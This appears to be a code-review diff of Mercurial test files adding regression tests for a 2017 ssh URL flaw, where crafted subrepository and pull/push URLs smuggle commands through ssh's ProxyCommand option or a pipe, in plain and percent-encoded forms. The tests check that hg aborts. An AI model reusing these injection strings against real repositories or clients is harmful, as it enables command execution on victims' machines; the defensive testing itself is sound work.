985 $ cd ..
986
987 #endif
@@ -105,4 +105,30 b' regular shell commands.'
105 $ URL=`$PYTHON -c "import os; print 'file://localhost' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"`
105 $ URL=`$PYTHON -c "import os; print 'file://localhost' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"`
106 $ hg pull -q "$URL"
106 $ hg pull -q "$URL"
107
107
108 SEC: check for unsafe ssh url
109
110 $ cat >> $HGRCPATH << EOF
111 > [ui]
112 > ssh = sh -c "read l; read l; read l"
113 > EOF
114
115 $ hg pull 'ssh://-oProxyCommand=touch${IFS}owned/path'
116 pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
117 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
118 [255]
119 $ hg pull 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
120 pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
121 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
122 [255]
123 $ hg pull 'ssh://fakehost|touch${IFS}owned/path'
124 pulling from ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path
125 abort: no suitable response from remote hg!
126 [255]
127 $ hg pull 'ssh://fakehost%7Ctouch%20owned/path'
128 pulling from ssh://fakehost%7Ctouch%20owned/path
129 abort: no suitable response from remote hg!
130 [255]
131
132 $ [ ! -f owned ] || echo 'you got owned'
133
108 $ cd ..
134 $ cd ..
@@ -316,3 +316,29 b' Test bare push with multiple race checki'
316 adding manifests
316 adding manifests
317 adding file changes
317 adding file changes
318 added 1 changesets with 1 changes to 1 files
318 added 1 changesets with 1 changes to 1 files
319
320 SEC: check for unsafe ssh url
321
322 $ cat >> $HGRCPATH << EOF
323 > [ui]
324 > ssh = sh -c "read l; read l; read l"
325 > EOF
326
327 $ hg -R test-revflag push 'ssh://-oProxyCommand=touch${IFS}owned/path'
328 pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
329 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
330 [255]
331 $ hg -R test-revflag push 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
332 pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
333 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
334 [255]
335 $ hg -R test-revflag push 'ssh://fakehost|touch${IFS}owned/path'
336 pushing to ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path
337 abort: no suitable response from remote hg!
338 [255]
339 $ hg -R test-revflag push 'ssh://fakehost%7Ctouch%20owned/path'
340 pushing to ssh://fakehost%7Ctouch%20owned/path
341 abort: no suitable response from remote hg!
342 [255]
343
344 $ [ ! -f owned ] || echo 'you got owned'
@@ -461,7 +461,7 b' debug output'
461
461
462 $ hg pull --debug ssh://user@dummy/remote
462 $ hg pull --debug ssh://user@dummy/remote
463 pulling from ssh://user@dummy/remote
463 pulling from ssh://user@dummy/remote
464 running .* ".*/dummyssh" user@dummy ('|")hg -R remote serve --stdio('|") (re)
464 running .* ".*/dummyssh" ['"]user@dummy['"] ('|")hg -R remote serve --stdio('|") (re)
465 sending hello command
465 sending hello command
466 sending between command
466 sending between command
467 remote: 355
467 remote: 355
@@ -477,7 +477,7 b' debug output'
477
477
478 $ hg pull --debug ssh://user@dummy/remote
478 $ hg pull --debug ssh://user@dummy/remote
479 pulling from ssh://user@dummy/remote
479 pulling from ssh://user@dummy/remote
480 running .* ".*/dummyssh" user@dummy ('|")hg -R remote serve --stdio('|") (re)
480 running .* ".*/dummyssh" ['"]user@dummy['"] ('|")hg -R remote serve --stdio('|") (re)
481 sending hello command
481 sending hello command
482 sending between command
482 sending between command
483 remote: 355
483 remote: 355
@@ -1182,3 +1182,34 b' whitelisting of ext should be respected '
1182 pwned: you asked for it
1182 pwned: you asked for it
1183
1183
1184 #endif
1184 #endif
1185
1186 test for ssh exploit with git subrepos 2017-07-25
1187
1188 $ hg init malicious-proxycommand
1189 $ cd malicious-proxycommand
1190 $ echo 's = [git]ssh://-oProxyCommand=rm${IFS}non-existent/path' > .hgsub
1191 $ git init s
1192 Initialized empty Git repository in $TESTTMP/tc/malicious-proxycommand/s/.git/
1193 $ cd s
1194 $ git commit --allow-empty -m 'empty'
1195 [master (root-commit) 153f934] empty
1196 $ cd ..
1197 $ hg add .hgsub
1198 $ hg ci -m 'add subrepo'
1199 $ cd ..
1200 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1201 updating to branch default
1202 abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepository "s")
1203 [255]
1204
1205 also check that a percent encoded '-' (%2D) doesn't work
1206
1207 $ cd malicious-proxycommand
1208 $ echo 's = [git]ssh://%2DoProxyCommand=rm${IFS}non-existent/path' > .hgsub
1209 $ hg ci -m 'change url to percent encoded'
1210 $ cd ..
1211 $ rm -r malicious-proxycommand-clone
1212 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1213 updating to branch default
1214 abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepository "s")
1215 [255]
@@ -639,3 +639,43 b' Test that sanitizing is omitted in meta '
639 $ hg update -q -C '.^1'
639 $ hg update -q -C '.^1'
640
640
641 $ cd ../..
641 $ cd ../..
642
643 SEC: test for ssh exploit
644
645 $ hg init ssh-vuln
646 $ cd ssh-vuln
647 $ echo "s = [svn]$SVNREPOURL/src" >> .hgsub
648 $ svn co --quiet "$SVNREPOURL"/src s
649 $ hg add .hgsub
650 $ hg ci -m1
651 $ echo "s = [svn]svn+ssh://-oProxyCommand=touch%20owned%20nested" > .hgsub
652 $ hg ci -m2
653 $ cd ..
654 $ hg clone ssh-vuln ssh-vuln-clone
655 updating to branch default
656 abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepository "s")
657 [255]
658
659 also check that a percent encoded '-' (%2D) doesn't work
660
661 $ cd ssh-vuln
662 $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20nested" > .hgsub
663 $ hg ci -m3
664 $ cd ..
665 $ rm -r ssh-vuln-clone
666 $ hg clone ssh-vuln ssh-vuln-clone
667 updating to branch default
668 abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepository "s")
669 [255]
670
671 also check that hiding the attack in the username doesn't work:
672
673 $ cd ssh-vuln
674 $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20foo@example.com/nested" > .hgsub
675 $ hg ci -m3
676 $ cd ..
677 $ rm -r ssh-vuln-clone
678 $ hg clone ssh-vuln ssh-vuln-clone
679 updating to branch default
680 abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned foo@example.com/nested' (in subrepository "s")
681 [255]
@@ -1789,3 +1789,77 b" Test that '[paths]' is configured correc"
1789 +bar
1789 +bar
1790
1790
1791 $ cd ..
1791 $ cd ..
1792
1793 test for ssh exploit 2017-07-25
1794
1795 $ cat >> $HGRCPATH << EOF
1796 > [ui]
1797 > ssh = sh -c "read l; read l; read l"
1798 > EOF
1799
1800 $ hg init malicious-proxycommand
1801 $ cd malicious-proxycommand
1802 $ echo 's = [hg]ssh://-oProxyCommand=touch${IFS}owned/path' > .hgsub
1803 $ hg init s
1804 $ cd s
1805 $ echo init > init
1806 $ hg add
1807 adding init
1808 $ hg commit -m init
1809 $ cd ..
1810 $ hg add .hgsub
1811 $ hg ci -m 'add subrepo'
1812 $ cd ..
1813 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1814 updating to branch default
1815 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepository "s")
1816 [255]
1817
1818 also check that a percent encoded '-' (%2D) doesn't work
1819
1820 $ cd malicious-proxycommand
1821 $ echo 's = [hg]ssh://%2DoProxyCommand=touch${IFS}owned/path' > .hgsub
1822 $ hg ci -m 'change url to percent encoded'
1823 $ cd ..
1824 $ rm -r malicious-proxycommand-clone
1825 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1826 updating to branch default
1827 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepository "s")
1828 [255]
1829
1830 also check for a pipe
1831
1832 $ cd malicious-proxycommand
1833 $ echo 's = [hg]ssh://fakehost|touch${IFS}owned/path' > .hgsub
1834 $ hg ci -m 'change url to pipe'
1835 $ cd ..
1836 $ rm -r malicious-proxycommand-clone
1837 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1838 updating to branch default
1839 abort: no suitable response from remote hg!
1840 [255]
1841 $ [ ! -f owned ] || echo 'you got owned'
1842
1843 also check that a percent encoded '|' (%7C) doesn't work
1844
1845 $ cd malicious-proxycommand
1846 $ echo 's = [hg]ssh://fakehost%7Ctouch%20owned/path' > .hgsub
1847 $ hg ci -m 'change url to percent encoded pipe'
1848 $ cd ..
1849 $ rm -r malicious-proxycommand-clone
1850 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1851 updating to branch default
1852 abort: no suitable response from remote hg!
1853 [255]
1854 $ [ ! -f owned ] || echo 'you got owned'
1855
1856 and bad usernames:
1857 $ cd malicious-proxycommand
1858 $ echo 's = [hg]ssh://-oProxyCommand=touch owned@example.com/path' > .hgsub
1859 $ hg ci -m 'owned username'
1860 $ cd ..
1861 $ rm -r malicious-proxycommand-clone
1862 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1863 updating to branch default
1864 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned@example.com/path' (in subrepository "s")
1865 [255]
General Comments 0
You need to be logged in to leave comments. Login now